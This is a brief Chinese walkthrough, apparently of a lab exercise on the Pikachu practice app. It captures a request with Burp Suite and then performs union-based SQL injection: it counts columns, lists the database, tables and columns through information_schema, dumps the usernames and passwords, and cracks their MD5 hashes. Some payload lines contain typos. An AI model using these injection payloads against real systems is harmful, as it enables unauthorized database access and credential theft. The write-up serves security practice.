题目

上图可以看出所在url没有变化，猜测是GET请求方法

1.使用burpsuite进行抓包

在第10行可以看出数据的提交方式，将数据发送到重放器中

（1）确定字段数 id=1 order by [1,2,3....]

依次测试，验证数据库的字段数，可知字段数为2

（2）按照库->表->列的顺序，依次爆破

id=-1 union select 1,database() 发现库的名字是pikachu

输入id=-1 union select 1,table_name from information_schema.tables where table_schema='pikachu' ，存在名为users的表格

输入id=-1 union select 1,column_name from information_schema.columns where table_name='users 找到对应的列名

（3）最后根据得到的信息进行爆破即可

id=-1 unoin select username,password from users

将得到的密码进行MD5解码，得到123456，000000，abc123